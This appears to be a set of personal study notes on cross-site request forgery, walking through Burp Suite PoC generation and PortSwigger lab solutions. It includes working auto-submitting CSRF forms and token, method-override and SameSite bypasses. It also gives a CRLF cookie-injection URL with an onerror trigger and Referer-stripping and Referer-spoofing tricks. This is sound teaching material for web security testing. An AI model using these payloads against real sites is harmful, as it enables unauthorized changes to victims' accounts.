In Burp Suite Pro, you can use the tool to demonstrate a CSRF vulnerability by creating a proof of concept (PoC) using a request that does not include a CSRF token. This request can be used to update client information, and will show how an attacker can exploit the lack of CSRF protection to make unauthorized changes.
Right Click --> Engagement Tools --> Generate CSRF PoC
- POST REQUEST --> HTML (What the evil server would have)
<html>
<body>
<form action="https://vulnerable-website.com/email/change" method="POST">
<input type="hidden" name="email" value="pwned@evil-user.net" />
</form>
<script> document.forms[0].submit();
</script>
</body>
</html>
- Go in options and use auto-submit to include this line
...>document.forms[0].submit();<...
- Take note that in the following example we have added the following from the original PoC of BurpSuite Pro
GET REQUEST --> HTML (What the evil server would have)
<html>
<body>
<form action="https://domain.com/my-account/change-email" method="GET">
<!-- Place Options -->
<input type="hidden" name="email" value="example-change@gmail.com" />
<input type="submit" value="Submit request" />
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>
No CSRF Protection
Another way to test for vulnerabilities related to CSRF is to observe if the application does not have any CSRF token implemented. This can be done by checking the requests made by the application and verifying if there are any tokens being used to protect against CSRF attacks. If there are no tokens present, it may indicate a vulnerability in the application's security.
Steps: - Generate a template - Append automation
Remove CSRF Token
Another way to test for vulnerabilities related to CSRF is to observe if the application's security can be bypassed by removing the CSRF token from a request. This can be done by intercepting a request that includes a CSRF token, removing the token, and forwarding the modified request to the server to see if it is still accepted. If the request is accepted without the token, it may indicate a vulnerability in the application's CSRF protection.
Steps: - Remove the token - Test if the request work - Generate a template - Append automation
Change Request Type
Another way to test for vulnerabilities related to CSRF is to observe if the application's security can be bypassed by changing the request type from POST to GET. This can be done by intercepting a POST request that includes a CSRF token, changing the request method from POST to GET, and forwarding the modified request to the server to see if it is still accepted. If the request is accepted without the token, it may indicate a vulnerability in the application's CSRF protection.
Steps: - Select in Burp Suite (repeater) the "Change request method" --> Change POST to GET - Generate a template - Append automation
Client-Side Redirect
The process of changing a user's email address may be hindered by security measures such as the refer header, which requires the user to first visit a page on the website before making changes. However, if a client-side redirect vulnerability is discovered, an attacker may be able to exploit it for a CSRF attack. This is done by crafting a GET request in the redirect, which can then be used to perform malicious actions, such as changing various informations.
Steps:
- Find a redirection vulnerability (Example redirect to post ID, but input ".."" take off the id and perform redirection)
- Create a request for changing variable (Ex: email)
- Change the request for a GET request ---> Dont forget, you might need to URL encode elements
- Try appending the request (redirection) with the GET request
- Generate a template from the redirection and change the value of the variable for the GET request
- Append Automation
Change Request Type (Overwrite)
It may not be possible to change a POST request to a GET request, but it is sometimes possible to override this by modifying the PoC provided by BurpSuite and forcing the request to be made via a GET request.
Steps:
- Select in Burp Suite (reapeater) the "Change request method" --> Change POST to GET
- Generate a template
- Append automation
- Hide the POST request with following input
<form action="...
---><input type="hidden" name="_method" value="POST">
CSRF token from another user
Another way to test for vulnerabilities related to CSRF is to observe if the application's security can be bypassed by using a CSRF token from another user. This can be done by intercepting a request that includes a CSRF token, extracting the token from the request and using it in another user request, and forwarding the modified request to the server to see if it is still accepted. If the request is accepted using a token of another user, it may indicate that the tokens are not properly linked to the user session and the application may be vulnerable to CSRF attacks.
Steps:
- Connect to your account (Will generate a CSRF that will be transmited to another user)
- Intercept the request or copy the CSRF token in the source code of the form (Your account)
- Use the CSRF token in the generated template
- Append this after the input Email (to include a CSRF token in the request) or change the token
<input type="hidden" name="csrf" value="vre8wybewuo_CSRF_TOKEN_uybfweruuef" />
- Append automation
CSRF where token is duplicated in cookie
An attacker can exploit a CSRF vulnerability by utilizing cookies and tokens obtained from another account to perform unauthorized actions on the targeted website. This can be done by providing a set of cookies and tokens to the website, which will allow the attacker to act as the legitimate user. The actions that can be performed are diverse, it can include unauthorized purchases, modification of account information and even deletion of data.
Steps:
- Open Burp's browser and log in to your account. Submit the "Update email" form, and find the resulting request in your Proxy history.
- Send the request to Burp Repeater and observe that the value of the
csrf
body parameter is simply being validated by comparing it with thecsrf
cookie. - Perform a search, send the resulting request to Burp Repeater, and observe that the search term gets reflected in the Set-Cookie header. Since the search function has no CSRF protection, you can use this to inject cookies into the victim user's browser.
- Create a URL that uses this vulnerability to inject a fake
csrf
cookie into the victim's browser:/?search=test%0d%0aSet-Cookie:%20csrf=fake%3b%20SameSite=None
- Create and host a proof of concept exploit as described in the solution to the CSRF vulnerability with no defenses lab, ensuring that your CSRF token is set to "fake". The exploit should be created from the email change request.
- Remove the auto-submit
<script>
block and instead add the following code to inject the cookie and submit the form:<img src="https://YOUR-LAB-ID.web-security-academy.net/?search=test%0d%0aSet-Cookie:%20csrf=fake%3b%20SameSite=None" onerror="document.forms[0].submit();"/>
- Change the email address in your exploit so that it doesn't match your own.
- Store the exploit, then click "Deliver to victim" to solve the lab.
Lab: SameSite Lax bypass via method override
Study the change email function
- In Burp's browser, log in to your own account and change your email address.
- In Burp, go to the Proxy > HTTP history tab.
- Study the
POST /my-account/change-email
request and notice that this doesn't contain any unpredictable tokens, so may be vulnerable to CSRF if you can bypass the SameSite cookie restrictions. - Look at the response to your
POST /login
request. Notice that the website doesn't explicitly specify any SameSite restrictions when setting session cookies. As a result, the browser will use the defaultLax
restriction level. - Recognize that this means the session cookie will be sent in cross-site
GET
requests, as long as they involve a top-level navigation.
Bypass the SameSite restrictions (_method=POST)
- Send the
POST /my-account/change-email
request to Burp Repeater. - In Burp Repeater, right-click on the request and select Change request method. Burp automatically generates an equivalent
GET
request. - Send the request. Observe that the endpoint only allows
POST
requests. - Try overriding the method by adding the
_method
parameter to the query string:GET /my-account/change-email?email=foo%40web-security-academy.net&_method=POST HTTP/1.1
- Send the request. Observe that this seems to have been accepted by the server.
- In the browser, go to your account page and confirm that your email address has changed.
Lab: SameSite Strict bypass via client-side redirect (Redirection & Get request)
Study the change email function
- In Burp's browser, log in to your own account and change your email address.
- In Burp, go to the Proxy > HTTP history tab.
- Study the
POST /my-account/change-email
request and notice that this doesn't contain any unpredictable tokens, so may be vulnerable to CSRF if you can bypass any SameSite cookie restrictions. - Look at the response to your
POST /login
request. Notice that the website explicitly specifiesSameSite=Strict
when setting session cookies. This prevents the browser from including these cookies in cross-site requests.
Identify a suitable gadget
- In the browser, go to one of the blog posts and post an arbitrary comment. Observe that you're initially sent to a confirmation page at
/post/comment/confirmation?postId=x
but, after a few seconds, you're taken back to the blog post. - In Burp, go to the proxy history and notice that this redirect is handled client-side using the imported JavaScript file
/resources/js/commentConfirmationRedirect.js
. - Study the JavaScript and notice that this uses the
postId
query parameter to dynamically construct the path for the client-side redirect. - In the proxy history, right-click on the
GET /post/comment/confirmation?postId=x
request and select Copy URL. - In the browser, visit this URL, but change the
postId
parameter to an arbitrary string./post/comment/confirmation?postId=foo
- Observe that you initially see the post confirmation page before the client-side JavaScript attempts to redirect you to a path containing your injected string, for example,
/post/foo
. - Try injecting a path traversal sequence so that the dynamically constructed redirect URL will point to your account page:
/post/comment/confirmation?postId=1/../../my-account
- Observe that the browser normalizes this URL and successfully takes you to your account page. This confirms that you can use the
postId
parameter to elicit aGET
request for an arbitrary endpoint on the target site.
Bypassing SameSite Lax restrictions with newly issued cookies
Cookies with Lax
SameSite restrictions aren't normally sent in any cross-site POST
requests, but there are some exceptions.
As mentioned earlier, if a website doesn't include a SameSite
attribute when setting a cookie, Chrome automatically applies Lax
restrictions by default. However, to avoid breaking single sign-on (SSO) mechanisms, it doesn't actually enforce these restrictions for the first 120 seconds on top-level POST
requests. As a result, there is a two-minute window in which users may be susceptible to cross-site attacks.
This two-minute window does not apply to cookies that were explicitly set with the SameSite=Lax
attribute.
It's somewhat impractical to try timing the attack to fall within this short window. On the other hand, if you can find a gadget on the site that enables you to force the victim to be issued a new session cookie, you can preemptively refresh their cookie before following up with the main attack. For example, completing an OAuth-based login flow may result in a new session each time as the OAuth service doesn't necessarily know whether the user is still logged in to the target site.
window.onclick = () => { window.open('https://vulnerable-website.com/login/sso'); }
<form method="POST" action="https://YOUR-LAB-ID.web-security-academy.net/my-account/change-email">
<input type="hidden" name="email" value="pwned@portswigger.net"> </form>
<p>Click anywhere on the page</p>
<script>
window.onclick = () => { window.open('https://YOUR-LAB-ID.web-security-academy.net/social-login'); setTimeout(changeEmail, 5000); } function changeEmail() { document.forms[0].submit(); }
</script>
Validation of Referer depends on header being present
Aside from defenses that employ CSRF tokens, some applications make use of the HTTP Referer
header to attempt to defend against CSRF attacks, normally by verifying that the request originated from the application's own domain. This approach is generally less effective and is often subject to bypasses.
The HTTP Referer header (which is inadvertently misspelled in the HTTP specification) is an optional request header that contains the URL of the web page that linked to the resource that is being requested. It is generally added automatically by browsers when a user triggers an HTTP request, including by clicking a link or submitting a form. Various methods exist that allow the linking page to withhold or modify the value of the Referer
header. This is often done for privacy reasons.
Some applications validate the Referer
header when it is present in requests but skip the validation if the header is omitted.
In this situation, an attacker can craft their CSRF exploit in a way that causes the victim user's browser to drop the Referer
header in the resulting request. There are various ways to achieve this, but the easiest is using a META tag within the HTML page that hosts the CSRF attack:
<meta name="referrer" content="never">
Some applications validate the Referer
header in a naive way that can be bypassed. For example, if the application validates that the domain in the Referer
starts with the expected value, then the attacker can place this as a subdomain of their own domain:
http://vulnerable-website.com.attacker-website.com/csrf-attack
Likewise, if the application simply validates that the Referer
contains its own domain name, then the attacker can place the required value elsewhere in the URL:
http://attacker-website.com/csrf-attack?vulnerable-website.com
![[brave_682OpL1vJZ.png]]